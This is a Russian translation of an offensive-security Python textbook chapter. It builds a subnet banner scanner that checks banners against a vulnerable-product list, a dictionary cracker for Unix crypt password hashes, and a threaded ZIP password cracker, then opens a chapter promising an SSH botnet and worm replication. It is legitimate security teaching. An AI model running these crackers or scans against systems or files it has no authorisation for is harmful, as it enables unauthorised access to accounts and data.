В языке Python функции предоставляют организованные блоки многократно используемого кода. Как правило, это даёт программисту возможность написать блок кода для выполнения одного связанного действия. Хотя в Python и без того есть множество встроенных функций, программист может создавать также и свои, пользовательские функции. Функцию начинает ключевое слово **def()** – в круглые скобки можно поместить любые переменные, которые далее будут передаваться по ссылке. Это означает, что любые изменения переданных переменных внутри функции будут влиять на их значение из вызывающей функции. Продолжая работать с предыдущим примером сканирования уязвимостей FTP, создадим функцию для выполнения только действий по подключению к FTP-серверу и возвращению баннера.

```
import socket
def retBanner(ip, port):
    try:
        socket.setdefaulttimeout(2)
        s = socket.socket()
        s.connect((ip, port))
        banner = s.recv(1024)
```

```

        return banner
    except:
        return
def main():
    ip1 = '192.168.95.148'
    ip2 = '192.168.95.149'
    port = 21
    banner1 = retBanner(ip1, port)
    if banner1:
        print '[+] ' + ip1 + ': ' + banner1
    banner2 = retBanner(ip2, port)
    if banner2:
        print '[+] ' + ip2 + ': ' + banner2
if __name__ == '__main__':
    main()

```

После вывода баннера нашему скрипту нужно проверить этот баннер на наличие некоторых известных уязвимых программ. Это делается с помощью функции **checkVulns()** – она принимает переменную **banner** за параметр, а затем использует её для определения уязвимости сервера.

```

import socket
def retBanner(ip, port):
    try:
        socket.setdefaulttimeout(2)
        s = socket.socket()
        s.connect((ip, port))
        banner = s.recv(1024)
        return banner
    except:
        return
def checkVulns(banner):
    if 'FreeFloat Ftp Server (Version 1.00)' in banner:
        print '[+] FreeFloat FTP Server is vulnerable.'
    elif '3Com 3CDaemon FTP Server Version 2.0' in banner:
        print '[+] 3CDaemon FTP Server is vulnerable.'
    elif 'Ability Server 2.34' in banner:
        print '[+] Ability FTP Server is vulnerable.'
    elif 'Sami FTP Server 2.0.2' in banner:
        print '[+] Sami FTP Server is vulnerable.'
    else:
        print '[-] FTP Server is not vulnerable.'
    return
def main():
    ip1 = '192.168.95.148'
    ip2 = '192.168.95.149'
    ip3 = '192.168.95.150'

```

```

    port = 21
    banner1 = retBanner(ip1, port)
    if banner1:
        print '[+] ' + ip1 + ': ' + banner1.strip('\n')
        checkVulns(banner1)
    banner2 = retBanner(ip2, port)
    if banner2:
        print '[+] ' + ip2 + ': ' + banner2.strip('\n')
        checkVulns(banner2)
    banner3 = retBanner(ip3, port)
    if banner3:
        print '[+] ' + ip3 + ': ' + banner3.strip('\n')
        checkVulns(banner3)
    if __name__ == '__main__':
        main()

```

## Итерация

В последнем разделе вас мог утомить ввод практически одного и того же кода трижды для проверки трёх разных IP-адресов. Вместо многократного написания одной и той же «мантры», мы хотим предложить вам кое-что попроще: использовать цикл **for** для перебора множества элементов. Рассмотрим пример: если нам нужно перебрать всю подсеть /24 IP-адресов в диапазоне 192.168.95.1–192.168.95.254, использование цикла `for` с диапазоном от 1 до 255 позволит нам вывести всю подсеть.

```

>>> for x in range(1,255):
...     print "192.168.95."+str(x)
...
192.168.95.1
192.168.95.2
192.168.95.3
192.168.95.4
192.168.95.5
192.168.95.6
... <ПРОПУЩЕНО> ...
192.168.95.253
192.168.95.254

```

Точно так же нам может понадобиться перебрать известный список портов для поиска уязвимостей. Вместо того, чтобы перебирать диапазон чисел, мы можем перебирать весь список элементов.

```

>>> portList = [21,22,25,80,110]
>>> for port in portList:
...     print port
...

```

```
21
22
25
80
110
```

Используя два цикла **for**, мы можем вывести каждый IP-адрес и порты для каждого адреса.

```
>>> for x in range(1,255):
...   for port in portList:
...       print "[+] Checking 192.168.95." \
               +str(x)+": " +str(port)
...
[+] Checking 192.168.95.1:21
[+] Checking 192.168.95.1:22
[+] Checking 192.168.95.1:25
[+] Checking 192.168.95.1:80
[+] Checking 192.168.95.1:110
[+] Checking 192.168.95.2:21
[+] Checking 192.168.95.2:22
[+] Checking 192.168.95.2:25
[+] Checking 192.168.95.2:80
[+] Checking 192.168.95.2:110
<... ПРОПУЩЕНО ...>
```

Имея возможность перебора IP-адресов и портов, мы можем обновить скрипт проверки уязвимостей. Он проведёт тестирование всех 254 IP-адресов в подсети 192.168.95.0/24 с портами, предлагающими сервисы telnet, SSH, smtp, http, imap и https.

```
import socket
def retBanner(ip, port):
    try:
        socket.setdefaulttimeout(2)
        s = socket.socket()
        s.connect((ip, port))
        banner = s.recv(1024)
        return banner
    except:
        return
def checkVulns(banner):
    if 'FreeFloat Ftp Server (Version 1.00)' in banner:
        print '[+] FreeFloat FTP Server is vulnerable.'
    elif '3Com 3CDaemon FTP Server Version 2.0' in banner:
        print '[+] 3CDaemon FTP Server is vulnerable.'
    elif 'Ability Server 2.34' in banner:
        print '[+] Ability FTP Server is vulnerable.'
    elif 'Sami FTP Server 2.0.2' in banner:
```

```

    print '[+] Sami FTP Server is vulnerable.'
else:
    print '[-] FTP Server is not vulnerable.'
return
def main():
    portList = [21,22,25,80,110,443]
    for x in range(1, 255):
        ip = '192.168.95.' + str(x)
        for port in portList:
            banner = retBanner(ip, port)
            if banner:
                print '[+] ' + ip + ': ' + banner
                checkVulns(banner)
if __name__ == '__main__':
    main()

```

## Ввод-вывод файлов

Хотя в нашем скрипте есть оператор **IF**, который проверяет несколько уязвимых баннеров, было бы неплохо время от времени добавлять новый список уязвимых баннеров. Для рассматриваемого примера давайте предположим, что у нас есть текстовый файл **vuln\_banners.txt**. В каждой строке этого файла указывается конкретная версия службы с предыдущей уязвимостью. Вместо того чтобы выстраивать гигантское выражение **IF**, давайте прочитаем этот текстовый файл и воспользуемся им для принятия решений, если наш баннер окажется уязвимым.

```

programmer$ cat vuln_banners.txt
3Com 3CDaemon FTP Server Version 2.0
Ability Server 2.34
CCProxy Telnet Service Ready
ESMTP TABS Mail Server for Windows NT
FreeFloat Ftp Server (Version 1.00)
IMAP4rev1 MDaemon 9.6.4 ready
MailEnable Service, Version: 0-1.54
NetDecision-HTTP-Server 1.0
PSO Proxy 0.9
SAMBAR
Sami FTP Server 2.0.2
Spice 1.0
TelSrv 1.5
WDaemon 6.8.5
WinGate 6.1.1
Xitami
YahooPOPs! Simple Mail Transfer Service Ready

```

Разместим наш обновлённый код в функции `checkVulns`. Здесь мы откроем текстовый файл в режиме только для чтения (`'r'`). Переберём каждую строку в файле, используя метод `.readlines()`. Каждую строку мы сравниваем с нашим баннером. Обратите внимание, что мы должны удалить возврат каретки из каждой строки с помощью метода `.strip('\n')`. Если мы обнаружим совпадение - тогда выводим баннер уязвимой службы.

```
def checkVulns(banner):
    f = open("vuln_banners.txt", 'r')
    for line in f.readlines():
        if line.strip('\n') in banner:
            print "[+] Server is vulnerable: "+banner.strip('\n')
```

## Модуль Sys

Встроенный модуль `sys` обеспечивает доступ к объектам, используемым или поддерживаемым интерпретатором Python. Доступ охватывает флаги, версию, максимальные размеры целых чисел, доступные модули, перехватчики пути, расположение стандартной error/in/out и аргументы командной строки, вызываемые интерпретатором. Более подробную информацию о документах онлайн-модуля Python можно найти по адресу: <http://docs.python.org/library/sys>. Взаимодействие с модулем `sys` очень пригодится нам при создании скриптов Python. Например, нам может понадобиться проанализировать аргументы командной строки во время выполнения программы. Возьмём наш сканер уязвимостей: что, если нам нужно передать имя текстового файла в качестве аргумента командной строки? В списке `sys.argv` содержатся все аргументы командной строки. В первом индексе `sys.argv[0]` содержится имя скрипта интерпретатора Python. Остальные элементы в списке содержат все последующие аргументы командной строки. Таким образом, если мы передаём только один дополнительный аргумент, `sys.argv` должен содержать два элемента.

```
import sys
if len(sys.argv)==2:
    filename = sys.argv[1]
    print "[+] Reading Vulnerabilities From: "+filename
```

Запустив наш фрагмент кода, мы видим, что код успешно анализирует аргумент командной строки и выводит его на экран. Мы рекомендуем вам найти время для изучения всего модуля `sys` на предмет богатства возможностей, которые он предоставляет программисту.

```
programmer$ python vuln-scanner.py vuln-banners.txt
[+] Reading Vulnerabilities From: vuln-banners.txt
```



## Модуль **os**

Встроенный модуль **os** предоставляет множество подпрограмм **os** для операционных систем Mac, NT или Posix. Этот модуль позволяет программе независимо взаимодействовать со окружением операционной системы, файловой системой, базой данных пользователей и разрешениями. Разберём, к примеру, последний раздел, где пользователь передал имя текстового файла в качестве аргумента командной строки. Важное значение имеет проверка, существует ли этот файл и имеет ли текущий пользователь разрешение на его чтение. Если какое-либо из этих условий не выполняется, нелишне было бы отобразить для пользователя соответствующее сообщение об ошибке.

```
import sys
import os
if len(sys.argv) == 2:
    filename = sys.argv[1]
    if not os.path.isfile(filename):
        print '[-] ' + filename + ' does not exist.'
        exit(0)
    if not os.access(filename, os.R_OK):
        print '[-] ' + filename + ' access denied.'
        exit(0)
    print '[+] Reading Vulnerabilities From: ' + filename
```

Чтобы проверить наш код, мы сначала попытаемся прочитать какой-нибудь несуществующий файл, что заставит наш скрипт вывести сообщение об ошибке. Далее мы создадим конкретное имя файла и успешно прочитаем его. Наконец, мы ограничим разрешение на чтение и увидим, что наш скрипт правильно выведет сообщение об отказе в доступе.

```
programmer$ python test.py vuln-banners.txt
[-] vuln-banners.txt does not exist.
programmer$ touch vuln-banners.txt
programmer$ python test.py vuln-banners.txt
[+] Reading Vulnerabilities From: vuln-banners.txt
programmer$ chmod 000 vuln-banners.txt
programmer$ python test.py vuln-banners.txt
[-] vuln-banners.txt access denied.
```

Теперь мы можем воссоединить все разрозненные «осколки» нашего Python-скрипта для поиска уязвимостей. Не беспокойтесь, если он выглядит псевдозавершённым, лишённым возможности применить потоки выполнения или наилучший анализ параметров командной строки. Мы будем основываться на этом скрипте в следующей главе.

```
Import socket
import os
```

```

import sys
def retBanner(ip, port):
    try:
        socket.setdefaulttimeout(2)
        s = socket.socket()
        s.connect((ip, port))
        banner = s.recv(1024)
        return banner
    except:
        return
def checkVulns(banner, filename):
    f = open(filename, 'r')
    for line in f.readlines():
        if line.strip('\n') in banner:
            print '[+] Server is vulnerable: ' + \
                banner.strip('\n')
def main():
    if len(sys.argv) == 2:
        filename = sys.argv[1]
        if not os.path.isfile(filename):
            print '[-] ' + filename + \
                ' does not exist.'
            exit(0)
        if not os.access(filename, os.R_OK):
            print '[-] ' + filename + \
                ' access denied.'
            exit(0)
    else:
        print '[-] Usage: ' + str(sys.argv[0]) + \
            ' <vuln filename>'
        exit(0)
    portList = [21,22,25,80,110,443]
    for x in range(147, 150):
        ip = '192.168.95.' + str(x)
        for port in portList:
            banner = retBanner(ip, port)
            if banner:
                print '[+] ' + ip + ': ' + banner
                checkVulns(banner, filename)
if __name__ == '__main__':
    main()

```

## Ваши первые Python-программы

Теперь, имея представление о создании скриптов Python, начнём писать первые две программы. По мере продвижения вперёд мы опишем несколько анекдотичных ситуаций, которые подчёркивают необходимость наших скриптов.

## Подготовка платформы для вашей первой программы на Python: The Cuckoo's Egg

Системный администратор Национальной лаборатории имени Лоуренса в Беркли (Lawrence Berkley National Labs) Клиффорд Столл задокументировал в книге *The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage* (Stoll, 1989) («Яйцо кукушки: слежка за шпионом в лабиринтах компьютерного шпионажа») свою личную охоту на хакера (и информатора КГБ), который проникал в различные национальные исследовательские лаборатории, военные базы, предприятия оборонных подрядов и академические учреждения США. Кроме того, в мае 1988 года он опубликовал в журнале Communications of ACM («Коммуникационные линии Ассоциации Вычислительной Техники») статью, в которой детально описываются технические подробности атаки и ответного «преследования» (Stoll, 1988).

Увлечённый методологией и действиями хакера, Столл подключил принтер к взломанному серверу и регистрировал каждое нажатие клавиши, сделанное злоумышленником. Во время одного из «сеансов» записи Столл заметил кое-что интересное (по крайней мере, интересное для 1988 года).

Почти сразу же после компрометации жертвы злоумышленник загрузил зашифрованный файл паролей. Какая была в этом польза для атакующего? В конце концов, системы-жертвы кодировали пароли пользователей, используя для этого алгоритм шифрования UNIX. Однако через неделю после кражи зашифрованных файлов паролей Столл увидел, как злоумышленник вошёл в систему с украденными учётными записями. Сопоставив некоторых из пользователей-жертв, он узнал, что они использовали общие слова из словаря в качестве паролей (Stoll, 1989).

Узнав об этом, Столл понял, что хакер использовал атаку по словарю для раскрытия зашифрованных паролей. Хакер перечислил все слова в словаре и зашифровал их с помощью функции Unix **Crypt()**. После шифрования всех паролей хакер сравнил их с украденным зашифрованным паролем. Совпадения означали успешный взлом.

Рассмотрим зашифрованный файл паролей. Жертва использовала незашифрованный пароль, *egg*, и **salt**, равную первым двум байтам или HX. Функция UNIX Crypt вычисляет зашифрованный пароль с помощью `crypt('egg','HX') = HX9LLTdc/jiDE`.

```
attacker$ cat /etc/passwd
victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh
root: DFNFXgw7C05fo: 504:100: Markus Hess:/root:/bin/bash
```

Давайте воспользуемся возможностями этого зашифрованного файла паролей и напишем наш первый скрипт на Python - взломщик паролей в UNIX.

## Ваша первая программа: взломщик Unix-пароля

Настоящая сила языка программирования Python заключается в широком спектре стандартных и сторонних библиотек. Чтобы написать взломщик паролей UNIX, нам понадобится алгоритм `crypt()`, который хэширует пароли UNIX. Запустив интерпретатор Python, мы увидим, что библиотека `crypt` уже существует в стандартной библиотеке Python. Чтобы вычислить зашифрованный хэш пароля UNIX, мы просто вызываем функцию `crypt.crypt()` и передаём ей пароль и `salt` в качестве параметров. Эта функция возвращает хэшированный пароль в виде строки.

```
Programmer$ python
>>> help('crypt')
Help on module crypt:
NAME
    crypt
FILE
    /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-
dynload/crypt.so
MODULE DOCS
    http://docs.python.org/library/crypt
FUNCTIONS
    crypt(...)
        crypt(word, salt) -> string
        word will usually be a user's password. salt is a 2-character string
        which will be used to select one of 4096 variations of DES. The
        characters in salt must be either ".", "/", or an alphanumeric
        character. Returns the hashed password as a string, which will be
        composed of characters from the same alphabet as the salt.
```

Давайте попробуем быстро хэшировать пароль с помощью функции `crypt()`. После импорта библиотеки мы передаём в функцию пароль `egg` и `salt` “HX”. Функция возвращает значение хэшированного пароля `HX9LLTdc/jiDE` в виде строки. Супер! Теперь мы можем написать программу для перебора всего словаря, сопоставляя каждое слово с кастомным `salt` хэшированного пароля.

```
programmer$ python
>>> import crypt
>>> crypt.crypt("egg","HX")
'HX9LLTdc/jiDE'
```

Для написания программы мы создадим две функции — `main` и `testpass`. Это «правило хорошего тона» программирования: разделить программу на отдельные функции, у каждой из которых — своё конкретное назначение. В конце концов, это позволит нам повторно использовать код и облегчит чтение программы. Наша основная функция открывает

зашифрованный файл паролей passwords.txt и считывает содержимое каждой строки в файле паролей. Для каждой строки она разделяет имя пользователя и хэшированный пароль. Для каждого отдельного хэшированного пароля основная функция вызывает функцию `testPass()`, которая проверяет пароли в файле словаря.

Эта функция, `testPass()`, принимает зашифрованный пароль в качестве параметра и возвращает его либо после нахождения пароля, либо после прохождения всех слов в словаре. Обратите внимание, что функция сначала удаляет `salt` из первых двух символов хэша зашифрованного пароля. Затем она открывает словарь и перебирает там каждое слово, создавая хэш зашифрованного пароля из словарного слова и `salt`. Если результат соответствует нашему хэшу зашифрованного пароля, функция выводит сообщение, указывая найденный пароль. В противном случае она продолжает проверять каждое слово в словаре.

```
import crypt
def testPass(cryptPass):
    salt = cryptPass[0:2]
    dictFile = open('dictionary.txt','r')
    for word in dictFile.readlines():
        word = word.strip('\n')
        cryptWord = crypt.crypt(word,salt)
        if (cryptWord == cryptPass):
            print "[+] Found Password: "+word+"\n"
            return
    print "[-] Password Not Found.\n"
    return
def main():
    passFile = open('passwords.txt')
    for line in passFile.readlines():
        if ":" in line:
            user = line.split(':')[0]
            cryptPass = line.split(':')[1].strip(' ')
            print "[*] Cracking Password For: "+user
            testPass(cryptPass)
if __name__ == "__main__":
    main()
```

Запустив нашу первую программу, мы видим, что она успешно взламывает пароль для доступа к жертве, но не взламывает пароль для доступа к `root`. Таким образом мы узнаём, что системный администратор (`root`) однозначно использует слово, которого нет в нашем словаре. Не беспокойтесь, в этой книге мы рассмотрим несколько других способов получения `root`-доступа.

```
programmer$ python crack.py
[*] Cracking Password For: victim
[+] Found Password: egg
```

```
[*] Cracking Password For: root  
[-] Password Not Found.
```

В современных операционных системах, основанных на \*Nix, файл /etc/shadow хранит хэшированный пароль и предоставляет возможность применения более безопасных алгоритмов хэширования. В следующем примере используется алгоритм хэширования SHA-512. Функциональность SHA-512 обеспечивается Python-библиотекой **hashlib**. Можем ли мы модифицировать скрипт для взлома хэшей SHA-512?

```
cat /etc/shadow | grep root  
root:$6$ms32yIGN$NyXj0YofkK14MpRwFHvXQW0yvUId.slJtgxHE2EuQqgD74S/GaGGs5VCnqeC.bs0MzTf/EFS3u  
spQMNeepIAc.:15503:0:99999:7:::
```

## Подготовка основы для вашей второй программы: зло во имя добра

Объявляя о своей программе Cyber Fast Track на ShmooCon-2012, Петер «Mudge» Затко, легендарный хакер IOpht, ставший сотрудником DARPA, объяснил, что на самом деле нет никаких инструментов нападения или защиты – есть просто инструменты. В ходе чтения этой книги некоторые примеры скриптов могут вам поначалу показаться несколько агрессивными по своей природе. Например, возьмём нашу последнюю программу для взлома паролей в системах Unix. Злоумышленник *мог бы* использовать этот инструмент для получения несанкционированного доступа к системе; однако мог бы программист использовать это как для добра, так и для зла? Конечно – давайте объясню подробнее.

Перенесёмся на девятнадцать лет вперёд от открытия Клиффордом Столлом атаки по словарю. В начале 2007 года пожарный департамент города Браунсвилла, штат Техас, получил анонимное сообщение, что 50-летний Джон Крейг Циммерман просматривал детскую порнографию, используя ресурсы департамента (Floyd, 2007). Пожарный департамент тут же предоставил следователям браунсвиллской полиции доступ к рабочему компьютеру Циммермана и его внешнему жёсткому диску (Floyd, 2007). Полицейский департамент привлёк программиста Альберта Кастильо для исследования содержимого компьютера Циммермана (McCullagh, 2008). При первом осмотре Кастильо нашёл несколько «взрослых» порнографических изображений, но не обнаружил никакой детской порнографии.

Продолжая копаться в файлах, Кастильо нашёл кое-что подозрительное, в том числе ZIP-файл под названием «Cindy 5», защищённый паролем. Опираясь на метод, разработанный почти два десятилетия назад, Кастильо применил атаку по словарю для расшифровки содержимого защищённого паролем файла. И это принесло результат: в расшифрованных файлах оказались изображения частично обнажённой несовершеннолетней (McCullagh, 2008). Опираясь на эту информацию, судья выдал следователям ордер на обыск дома Циммермана, где они обнаружили ещё несколько детских порнографических изображений (McCullagh,

2008). 3 апреля 2007 года федеральное большое жюри вынесло акт, признающий Джона Крейга Циммермана виновным по 4 пунктам обвинения в производстве детской порнографии и во владении ею (Floyd, 2007).

Давайте применим технику брутфорса паролей, изученную в последнем примере программы, но теперь уже к zip-файлам. Мы также используем этот пример для того, чтобы развить некоторые фундаментальные концепции построения наших программ.

## Ваша вторая программа: взломщик паролей архивов

Итак, приступим к написанию нашего взломщика паролей к zip-файлам с изучения библиотеки **zipfile**. Открыв интерпретатор Python, мы запускаем команду **help('zipfile')**, чтобы узнать больше о библиотеке и увидеть класс **ZipFile** с помощью метода **extractall()**. Этот класс и метод окажутся полезными при написании нашей программы для взлома защищённых паролем zip-файлов. Обратите внимание, что метод **extractall()** имеет необязательный параметр для указания пароля.

```
programmer$ python
Python 2.7.1 (r271:86832, Jun 16 2011, 16:59:05)
Type "help", "copyright", "credits" or "license" for more information.
>>> help('zipfile')
<..ПРОПУЩЕНО..>
class ZipFile
| Class with methods to open, read, write, close, list zip files.
|
| z = ZipFile(file, mode="r", compression=ZIP_STORED, allowZip64=False)
<..ПРОПУЩЕНО..>
| extractall(self, path=None, members=None, pwd=None)
|     Extract all members from the archive to the current
|     working
|     directory. 'path' specifies a different directory to
|     extract to.
|     'members' is optional and must be a subset of the list
|     Returned
```

Давайте напишем быстрый скрипт для проверки использования библиотеки **zipfile**. После импорта библиотеки мы создаём новый класс **ZipFile** посредством указания имени защищённого паролем zip-файла. Чтобы извлечь zip-файл, мы используем метод **extractall()** и указываем необязательный параметр для пароля.

```
import zipfile
zFile = zipfile.ZipFile("evil.zip")
zFile.extractall(pwd="secret")
```

Далее нам надо выполнить наш скрипт, чтобы убедиться, что он работает правильно. Обратите внимание, что до выполнения скрипта у нас в текущем рабочем каталоге существуют только скрипт и zip-файл. Мы выполняем наш скрипт, который извлекает содержимое evil.zip во вновь созданную директорию под названием **evil/**. Этот каталог содержит файлы из ранее защищённого паролем zip-файла.

```
programmer$ ls
evil.zip unzip.py
programmer$ python unzip.py
programmer$ ls
evil.zip unzip.py evil
programmer$ cd evil/
programmer$ ls
note_to_adam.txt apple.bmp
```

Но что произойдёт, если мы выполним скрипт с неверным паролем? Добавим возможность обработки исключений, чтобы «поймать» ошибку и отобразить сообщение о ней.

```
import zipfile
zFile = zipfile.ZipFile("evil.zip")
try:
    zFile.extractall(pwd="oranges")
except Exception, e:
    print e
```

Выполняя наш скрипт с неверным паролем, мы видим, что он печатает сообщение об ошибке, указывающее, что пользователь указал неверный пароль для расшифровки содержимого защищённого паролем zip-файла.

```
programmer$ python unzip.py
('Bad password for file', <zipfile.ZipInfo object at 0x10a859500>)
```

Мы можем воспользоваться тем, что неправильный пароль вызывает исключение, чтобы проверить наш zip-файл в сравнении с файлом словаря. После создания класса **ZipFile** мы открываем файл словаря и выполняем итерацию, проверяя в словаре каждое слово. Если метод **extractall()** выполняется без ошибок, мы печатаем сообщение с указанием рабочего пароля. Но если **extractall()** выдаёт исключение неверного пароля, мы игнорируем исключение и продолжаем проверять пароли в словаре.

```
import zipfile
zFile = zipfile.ZipFile('evil.zip')
passFile = open('dictionary.txt')
for line in passFile.readlines():
    password = line.strip('\n')
```



```

try:
    zFile.extractall(pwd=password)
    print '[+] Password = ' + password + '\n'
    exit(0)
except Exception, e:
    pass

```

Выполняя наш скрипт, мы видим, что он правильно идентифицирует пароль для защищённого паролем zip-файла.

```

programmer$ python unzip.py
[+] Password = secret

```

А сейчас давайте немного упростим наш код. Вместо линейной программы мы смодулируем наш скрипт с помощью функций.

```

import zipfile
def extractFile(zFile, password):
    try:
        zFile.extractall(pwd=password)
        return password
    except:
        return
def main():
    zFile = zipfile.ZipFile('evil.zip')
    passFile = open('dictionary.txt')
    for line in passFile.readlines():
        password = line.strip('\n')
        guess = extractFile(zFile, password)
        if guess:
            print '[+] Password = ' + password + '\n'
            exit(0)
if __name__ == '__main__':
    main()

```

С помощью нашей программы, «размодулированной» на отдельные функции, мы теперь можем увеличить нашу производительность. Вместо того, чтобы проверять слова в словаре одно за другим, «в час по чайной ложке», мы используем потоки выполнения, чтобы позволить себе одновременное тестирование множества паролей. Для каждого словарного слова мы создадим новую цепочку выполнения.

```

import zipfile
from threading import Thread
def extractFile(zFile, password):
    try:
        zFile.extractall(pwd=password)

```

```

        print '[+] Found password ' + password + '\n'
    except:
        pass
def main():
    zFile = zipfile.ZipFile('evil.zip')
    passFile = open('dictionary.txt')
    for line in passFile.readlines():
        password = line.strip('\n')
        t = Thread(target=extractFile, args=(zFile, password))
        t.start()
if __name__ == '__main__':
    main()

```

Теперь давайте изменим наш скрипт, чтобы пользователь мог указать имя zip-файла для взлома и имя файла словаря. Для этого мы импортируем библиотеку **optparse**. В следующей главе мы опишем эту библиотеку более подробно. Здесь же, для целей нашего скрипта, нам нужно только знать, что он анализирует флаги и необязательные параметры, следующие нашему сценарию. Для нашего скрипта **zip-file-cracker** мы добавим два обязательных флага - имя zip-файла и имя словаря.

```

import zipfile
import optparse
from threading import Thread
def extractFile(zFile, password):
    try:
        zFile.extractall(pwd=password)
        print '[+] Found password ' + password + '\n'
    except:
        pass
def main():
    parser = optparse.OptionParser("usage%prog "+\
        "-f <zipfile> -d <dictionary>")
    parser.add_option('-f', dest='zname', type='string',\
        help='specify zip file')
    parser.add_option('-d', dest='dname', type='string',\
        help='specify dictionary file')
    (options, args) = parser.parse_args()
    if (options.zname == None) | (options.dname == None):
        print parser.usage
        exit(0)
    else:
        zname = options.zname
        dname = options.dname
    zFile = zipfile.ZipFile(zname)
    passFile = open(dname)
    for line in passFile.readlines():
        password = line.strip('\n')

```

```
t = Thread(target=extractFile, args=(zFile, password))
t.start()
if __name__ == '__main__':
    main()
```

И вот, наконец, мы проверяем наш завершённый скрипт **zip-file-cracker**, чтобы убедиться, что он работает. Это успех всего в 35 строках!

```
programmer$ python unzip.py -f evil.zip -d dictionary.txt
[+] Found password secret
```

## Итоги главы

В этой главе мы кратко рассмотрели стандартную библиотеку и несколько встроенных в язык Python модулей, написав простой сканер уязвимостей. Затем пошли дальше и написали на языке Python наши две первые программы – старый взломщик UNIX-паролей, и брутфорсовый взломщик паролей zip-файлов. Теперь у вас есть начальные навыки для написания собственных скриптов. Надеемся, что следующие главы окажутся столь же захватывающими как для чтения, так и для последующего написания программ. Мы начнём этот путь с изучения того, как использовать Python для атаки на системы во время теста на проникновение.

### Ссылки

- Floyd, J. (2007). Federal grand jury indicts fireman for production and possession of child pornography. John T. Floyd Law Firm Web site. Retrieved from <<http://www.houston-federal-criminal-lawyer.com/news/april07/03a.htm>>, April 3.
- McCullagh, D. (2008). Child porn defendant locked up after ZIP file encryption broken. *CNET News*. Retrieved April 7, 2012, from <[http://news.cnet.com/8301-13578\\_3-9851844-38.html](http://news.cnet.com/8301-13578_3-9851844-38.html)>, January 16.
- Stoll, C. (1989). *The cuckoo's egg: Tracking a spy through the maze of computer espionage*. New York: Doubleday.
- Stoll, C. (1988). Stalking the Wily Hacker. *Communications of the ACM*, 31(5), 484–500.
- Zatko, P. (2012). Cyber fast track. ShmooCon 2012. Retrieved June 13, 2012. from <[www.shmoocon.org/2012/videos/Mudge-CyberFastTrack.m4v](http://www.shmoocon.org/2012/videos/Mudge-CyberFastTrack.m4v)>, January 27.

## Глава 2: Python и пентест

### С чем мы столкнёмся в этой главе:

- Написание сканера портов
- Построение SSH-ботнета
- Массовое заражение через FTP
- Репликация Conficker
- Собственная атака нулевого дня

По моему мнению, самый необычный аспект боевых искусств заключается в их простоте. Легкий путь так же правилен, как и любой другой; боевые искусства в этом плане не являются чем-то особенным; чем мы ближе к истине, тем меньше ненужного эпатажа. Простота — высшая ступень искусства.

Мастер Брюс Ли, основоположник джиткундо

### Введение: будет ли червь Морриса актуален сегодня?

Ещё за двадцать два года до того, как червь StuxNet «положил» иранские АЭС в Бушере и Нетензе (Albright, Brannan & Walrond, 2010), некий аспирант в Корнелле дал самый первый залп цифровыми боеприпасами. Роберт Тэппэн Моррис-младший, сын главы Национального центра компьютерной безопасности АНБ, инфицировал шесть тысяч рабочих компьютеров червем, который так и называли - червем Морриса (Elmer-Dewitt, McCarroll & Voorst, 1988). Да, 6 тысяч рабочих компьютеров — это ничто по сегодняшним меркам, но подумайте: эта цифра представляет собой 10% всех компьютеров, которые были подключены к Интернету в 1988 году! По приблизительным оценкам Счётной Палаты США, затраты на устранение ущерба, нанесённого червем Морриса, составили от 10 до 100 миллионов долларов (GAO, 1989). Итак, как действует этот вирус?

Червь Морриса проводит триединую атаку для взлома систем. Сначала он пытается «пробиться» через уязвимость в Unix-программе **sendmail**. Затем — через отдельную уязвимость в **finger daemon**, используемом в системах Unix. В конце концов он пробует подключиться к целям с помощью протокола удалённой оболочки (RSH), использующего

список общих имён пользователей и паролей. Если хотя бы один из этих трёх векторов атаки окажется успешным, червь задействует небольшую программу в качестве «крючка», чтобы она «подтянула» за собой остальную часть вируса (Eichin & Rochlis, 1989).

Сработает ли подобная атака сегодня, и сможем ли мы научиться писать что-либо подобное? На этих вопросах основана вся эта глава. Моррис написал большую часть своей атаки на языке программирования C. Язык C — очень мощный язык, но он довольно сложен в изучении. Полная противоположность ему язык программирования Python: в нём есть удобный синтаксис и множество сторонних модулей. Это предоставляет нам гораздо лучшую платформу для работы и значительно облегчает запуск атак. На следующих страницах мы будем использовать Python как для воссоздания частей червя Морриса, так и для некоторых современных векторов атаки.

## Написание сканера портов

«Прощупывание» - это первый шаг в любой хорошей кибер-атаке. Атакующий должен выяснить, где находятся уязвимости, прежде чем подбирать эксплойты для цели. В следующем разделе мы создадим небольшой разведывательный скрипт, который сканирует целевой хост на наличие открытых портов TCP. Однако для взаимодействия с портами TCP нам в первую очередь необходимо создать сокеты TCP.

Python, как и большинство современных языков, предоставляет доступ к интерфейсу сокетов BSD. Сокеты BSD обеспечивают интерфейс прикладного программирования, который позволяет кодировщикам писать приложения для сетевой связи между хостами. С помощью ряда функций сокетов API мы можем создавать, связывать, прослушивать, подключать или отправлять трафик на сокеты TCP/IP. На данный момент, для дальнейшей разработки собственных атак, нам следует лучше разобраться в TCP/IP и сокетах.

Большинство доступных в Интернете приложений располагаются на TCP. Например, в целевой организации веб-сервер может находиться на TCP-порте 80, почтовый сервер на TCP-порте 25 и сервер передачи файлов на TCP-порте 21. Чтобы подключиться к любому из этих сервисов в нашей целевой организации, злоумышленник должен знать как адрес интернет-протокола, так и порт TCP, связанный со службой. В то время как некто, знакомый с нашей целевой организацией, вероятно, будет иметь доступ к этой информации, у атакующего его может не быть.

Для успешного кибер-нападения злоумышленник регулярно выполняет сканирование порта при первом же «залпе» атаки. Один из типов сканирования портов заключается в отправке пакета TCP SYN на ряд общих портов и ожидании ответа TCP ACK, что будет сигналом о том, что порт открыт. Напротив, при другом типе - сканировании TCP Connect - используется полное «трёхстороннее рукопожатие» для определения доступности службы или порта.

## Сканирование всего TCP-соединения

Итак, начнём с написания нашего собственного сканера портов TCP, который использует полное сканирование TCP для идентификации хостов. Для начала мы импортируем реализацию Python для API сокетов BSD. API сокетов предоставляет нам некоторые функции, которые будут полезны при внедрении нашего сканера портов TCP. Давайте рассмотрим парочку этих функций, прежде чем продолжить. Для более глубокого изучения темы смотрите документацию стандартной библиотеки Python по адресу: <http://docs.python.org/library/socket.html>.

```
socket.gethostname(hostname) – This function takes a hostname such
as www.syngress.com and returns an IPv4 address format such as
69.163.177.2.
socket.gethostbyaddr(ip address) – This function takes an IPv4 address
and returns a triple containing the hostname, alternative list of
host names, and a list of IPv4/v6 addresses for the same interface
on the host.
socket.socket([family[, type[, proto]]]) – This function creates an
instance of a new socket given the family. Options for the socket
